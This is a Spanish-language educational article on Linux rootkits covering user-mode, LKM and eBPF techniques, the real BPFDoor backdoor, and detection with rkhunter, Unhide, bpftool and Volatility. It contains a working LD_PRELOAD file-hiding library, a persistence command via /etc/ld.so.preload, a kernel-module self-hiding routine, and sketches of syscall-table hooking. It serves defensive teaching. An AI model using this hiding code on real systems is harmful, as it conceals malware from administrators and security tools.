Rootkits Linux: LKM, eBPF y Técnicas Modernas de Ocultación
Análisis técnico de rootkits en Linux. Rootkits de kernel module (LKM), rootkits basados en eBPF, técnicas de ocultación de procesos/archivos/conexiones, hooking de syscalls, y detección con herramientas como rkhunter, chkrootkit y Volatility.
Rootkits en Linux: donde el malware se vuelve invisible
Un rootkit no es un tipo de malware por su función (como ransomware o infostealer), sino por su método: es malware que se oculta a sí mismo y oculta otros componentes maliciosos del sistema operativo y de las herramientas de seguridad. Un proceso que no aparece en ps, un archivo que no se ve con ls, una conexión de red invisible para netstat: eso es lo que hace un rootkit.
En Linux, los rootkits operan en tres niveles de sofisticación creciente: user-mode (modifican herramientas del espacio de usuario), kernel-mode via LKM (cargan módulos que modifican el kernel), y eBPF (usan el framework de extended BPF para interceptar y manipular datos sin módulos de kernel).
User-mode rootkits
Concepto
Los rootkits de user-mode no modifican el kernel. En vez de eso, reemplazan o modifican las herramientas que los administradores usan para examinar el sistema.
Técnica 1: reemplazo de binarios del sistema
# El rootkit reemplaza /bin/ps con una version modificada
# que filtra el proceso malicioso de la salida
$ ps aux # La version modificada no muestra el proceso del malware
$ /bin/ps aux # Mismo resultado (el binario fue reemplazado)
Binarios comúnmente reemplazados: ps, ls, netstat, ss, lsof, top, who, w, find, du, ifconfig.
Detección: verificar hashes de binarios del sistema contra los del paquete original:
# Verificar integridad con rpm (RHEL/CentOS)
rpm -Va | grep -E '^..5' # Archivos con hash diferente
# Verificar con debsums (Debian/Ubuntu)
debsums -c # Archivos modificados
# Comparar hash con binario conocido
sha256sum /bin/ps
# Comparar con hash del paquete oficial
Técnica 2: LD_PRELOAD
La variable de entorno LD_PRELOAD permite cargar una biblioteca compartida antes que cualquier otra. Si una función existe tanto en la biblioteca pre-loaded como en libc, la versión pre-loaded tiene prioridad.
// rootkit_preload.so: intercepta readdir para ocultar archivos
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
struct dirent *readdir(DIR *dirp) {
// Obtener la funcion readdir original
static struct dirent *(*original_readdir)(DIR *) = NULL;
if (!original_readdir)
original_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *entry;
while ((entry = original_readdir(dirp)) != NULL) {
// Ocultar archivos que empiezan con "malware_"
if (strncmp(entry->d_name, "malware_", 8) == 0)
continue;
return entry;
}
return NULL;
}
Activación:
# Temporal (solo para este proceso)
LD_PRELOAD=/path/to/rootkit_preload.so ls
# Persistente (todos los procesos)
echo "/path/to/rootkit_preload.so" >> /etc/ld.so.preload
Detección:
# Verificar /etc/ld.so.preload
cat /etc/ld.so.preload
# Verificar variable LD_PRELOAD
echo $LD_PRELOAD
cat /proc/*/environ | tr '\0' '\n' | grep LD_PRELOAD
# Verificar librerias cargadas por un proceso
cat /proc/[PID]/maps | grep -v 'lib' # Librerias no estandar
Kernel rootkits via LKM (T1014)
Concepto
Los rootkits LKM se cargan como módulos del kernel (equivalente a drivers en Windows). Una vez en kernel-mode, pueden modificar cualquier estructura del kernel para ocultar su presencia y la de otros componentes maliciosos.
Carga del módulo
# Cargar modulo del kernel
insmod rootkit.ko
# O via modprobe (busca en /lib/modules/)
modprobe rootkit
# El rootkit puede auto-ocultarse de lsmod inmediatamente despues de cargarse
Técnicas de ocultación
Hooking de sys_call_table
La sys_call_table es un array de punteros a funciones de syscalls. El rootkit reemplaza punteros para interceptar syscalls:
// Pseudocodigo: hookear getdents64 para ocultar archivos
static asmlinkage long (*original_getdents64)(unsigned int fd,
struct linux_dirent64 *dirp, unsigned int count);
// Funcion hook que filtra resultados
asmlinkage long hooked_getdents64(unsigned int fd,
struct linux_dirent64 *dirp, unsigned int count) {
long ret = original_getdents64(fd, dirp, count);
// Recorrer las entradas de directorio
// Eliminar entradas que contienen nombres a ocultar
// "malware_process", "rootkit.ko", etc.
return ret; // Devolver resultado filtrado
}
// Instalacion del hook
void install_hook(void) {
// 1. Encontrar la sys_call_table
// 2. Desactivar write protection (cr0 register)
// 3. Reemplazar puntero
sys_call_table[__NR_getdents64] = hooked_getdents64;
// 4. Reactivar write protection
}
Syscalls hookeadas por rootkits
| Syscall | Número | Qué oculta el hook |
|---|---|---|
getdents64 | 217 | Archivos y directorios (ls, find) |
kill | 62 | Señales a procesos (proteger proceso malicioso) |
read | 0 | Contenido de archivos (ocultar entradas en /proc) |
open | 2 | Acceso a archivos (redirigir lecturas) |
stat / lstat | 4/6 | Metadatos de archivos |
connect | 42 | Conexiones de red (ocultar C2) |
recvmsg | 47 | Datos recibidos de red |
Ocultación del propio módulo
// Eliminar el modulo de la lista de modulos del kernel
static void hide_module(void) {
list_del(&THIS_MODULE->list); // Eliminar de la lista de modulos
kobject_del(&THIS_MODULE->mkobj.kobj); // Eliminar de sysfs
THIS_MODULE->sect_attrs = NULL;
THIS_MODULE->notes_attrs = NULL;
}
Después de esto, lsmod y /proc/modules no muestran el rootkit. Pero el código sigue ejecutándose en el kernel.
Ocultación de procesos
// Hookear la lectura de /proc para ocultar directorios de PID
// Cada proceso tiene un directorio /proc/[PID]/
// El rootkit filtra estos directorios de getdents64 en /proc/
Resultado: ps, top, htop no muestran el proceso malicioso porque leen de /proc.
Ocultación de conexiones de red
// Hookear la lectura de /proc/net/tcp y /proc/net/tcp6
// para filtrar lineas que contienen las conexiones del malware
Resultado: netstat, ss no muestran las conexiones del malware.
Protección del kernel contra LKM rootkits
| Protección | Descripción | Efectividad |
|---|---|---|
| Secure Boot + Module Signing | Solo cargar módulos firmados por claves de confianza | Alta (si se implementa correctamente) |
| KASLR | Randomización de direcciones del kernel | Media (dificulta encontrar sys_call_table) |
| kptr_restrict | Ocultar punteros del kernel en /proc | Media (dificulta encontrar direcciones) |
| Lockdown mode | Restricciones en módulos, /dev/mem, kexec | Alta (limita capacidades de LKM) |
| SELinux/AppArmor | MAC que puede restringir insmod/modprobe | Media-Alta |
Rootkits basados en eBPF
Concepto
eBPF (extended Berkeley Packet Filter) es un framework del kernel Linux que permite ejecutar código en sandbox dentro del kernel sin cargar un módulo. Originalmente diseñado para networking y observabilidad, eBPF puede ser abusado como rootkit.
Ventajas para el atacante
| Aspecto | LKM Rootkit | eBPF Rootkit |
|---|---|---|
| Requiere módulo del kernel | Sí | No |
| Detectable por lsmod | Sí (si no se oculta) | No (no es un módulo) |
| Requiere firma de módulo | Sí (si module signing activo) | No |
| Sobrevive reboot | Solo si se carga en boot | Solo si se re-inyecta |
| Detectable por rkhunter | Parcialmente | No |
| Capacidad de hooking | Completa (cualquier función del kernel) | Limitada a puntos de attach de eBPF |
Cómo funciona un rootkit eBPF
// Programa eBPF que intercepta la syscall getdents64
// y filtra entradas de directorio
SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) {
// Leer el buffer de resultados del espacio de usuario
// Modificar el buffer para eliminar entradas con nombres especificos
// Escribir el buffer modificado de vuelta
return 0;
}
Investigación: rootkits eBPF conocidos
| Proyecto | Tipo | Descripción |
|---|---|---|
| TripleCross | Research/PoC | Rootkit eBPF con backdoor, privilege escalation, C2 |
| ebpfkit | Research/PoC | Framework de rootkit basado en eBPF |
| Pamspy | Research | Interceptor de credenciales PAM via eBPF |
| BPFDoor | Malware real | Backdoor pasivo basado en BPF (no eBPF, BPF clásico) |
| Symbiote | Malware real | Rootkit LD_PRELOAD + BPF filter para ocultar tráfico |
BPFDoor: el caso real
BPFDoor es un backdoor real atribuido a grupos APT chinos (Red Menshen). Usa BPF packet filters para:
- Escuchar en un puerto sin que
netstat/sslo muestren (el filter intercepta paquetes antes de que el stack TCP los procese) - Responder solo a paquetes con un "magic byte" específico
- Proporcionar shell reverso cuando recibe el paquete mágico
No aparece en listados de puertos abiertos porque técnicamente no tiene un socket listening. El BPF filter captura paquetes a nivel de enlace de datos.
Detección de rootkits
Herramientas estándar
| Herramienta | Tipo | Qué detecta |
|---|---|---|
| rkhunter | Scanner | Binarios del sistema modificados, archivos sospechosos, módulos ocultos |
| chkrootkit | Scanner | Rootkits conocidos (firmas), procesos ocultos, interfaces promiscuas |
| Unhide | Comparador | Procesos ocultos (compara /proc con syscalls directas) |
| OSSEC/Wazuh | HIDS | Integridad de archivos, detección de rootkits, monitorización continua |
Detección manual
# Comparar ps con /proc (discrepancias = rootkit)
ls /proc | grep -E '^[0-9]+$' | sort -n > proc_pids.txt
ps -eo pid --no-headers | sort -n > ps_pids.txt
diff proc_pids.txt ps_pids.txt
# Si hay PIDs en proc_pids que no estan en ps_pids: proceso oculto
# Verificar sys_call_table (requiere debug symbols)
cat /proc/kallsyms | grep sys_call_table
# Comparar con tabla esperada
# Buscar modulos del kernel ocultos
# Comparar /proc/modules con /sys/module/
ls /sys/module/ | sort > sysmodule.txt
cat /proc/modules | awk '{print $1}' | sort > procmodule.txt
diff sysmodule.txt procmodule.txt
# Verificar /etc/ld.so.preload
cat /etc/ld.so.preload
# Buscar eBPF programs cargados
bpftool prog list
bpftool map list
# Verificar interfaces en modo promiscuo (sniffing)
ip link | grep PROMISC
Memory forensics con Volatility
# Capturar memoria con LiME
sudo insmod lime.ko "path=/tmp/mem.lime format=lime"
# Analizar con Volatility 3
vol3 -f mem.lime linux.lsmod # Listar modulos (incluidos ocultos)
vol3 -f mem.lime linux.hidden_modules # Modulos ocultos especificamente
vol3 -f mem.lime linux.check_syscall # Verificar sys_call_table
vol3 -f mem.lime linux.check_idt # Verificar IDT hooks
vol3 -f mem.lime linux.malfind # Regiones de memoria sospechosas
Volatility opera sobre un dump de memoria, no sobre el sistema en vivo. Esto significa que los hooks del rootkit no pueden interceptar las lecturas de Volatility (el rootkit filtra syscalls, pero Volatility lee la memoria directamente).
Mapeo MITRE ATT&CK
| Técnica | ID | Contexto Linux rootkits |
|---|---|---|
| Rootkit | T1014 | Técnica principal |
| Kernel Modules and Extensions | T1547.006 | LKM rootkits |
| Hijack Execution Flow: LD_PRELOAD | T1574.006 | LD_PRELOAD rootkits |
| Hide Artifacts: Hidden Files/Dirs | T1564.001 | Ocultar archivos del rootkit |
| Indicator Removal: Timestomp | T1070.006 | Modificar timestamps |
Fuentes y referencias
- Matrosov, A. et al. "Rootkits and Bootkits." No Starch Press, 2019.
- Love, R. "Linux Kernel Development." Addison-Wesley, 2010.
- TripleCross. "eBPF rootkit PoC." https://github.com/h3xduck/TripleCross
- PwC. "BPFDoor: An Active Chinese-Based Threat." PwC Threat Intelligence, 2022.
- BlackBerry. "Symbiote: A Stealthy Linux Malware." BlackBerry Research, 2022.
- rkhunter. "Rootkit Hunter." http://rkhunter.sourceforge.net/
- Unhide. "Unhide: Forensic Tool to Find Hidden Processes." https://github.com/YJesus/Unhide
- Volatility Foundation. "Linux Rootkit Detection." Volatility 3 Documentation.
- MITRE ATT&CK. "Rootkit (T1014)." https://attack.mitre.org/techniques/T1014/
- Kernel.org. "Kernel Module Signing." Linux Kernel Documentation.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
ELF 101: Formato de Ejecutables Linux para Analistas de Malware
Diamorphine, Reptile y Suterusu: Los Rootkits Linux que Debes Estudiar
eBPF Malicioso: La Nueva Frontera de los Rootkits Linux
Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico
Sigma para Lateral Movement: 8 Reglas de Detección de Movimiento Lateral
Sigma para Ransomware: 10 Reglas que Todo SOC Necesita Desplegadas
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.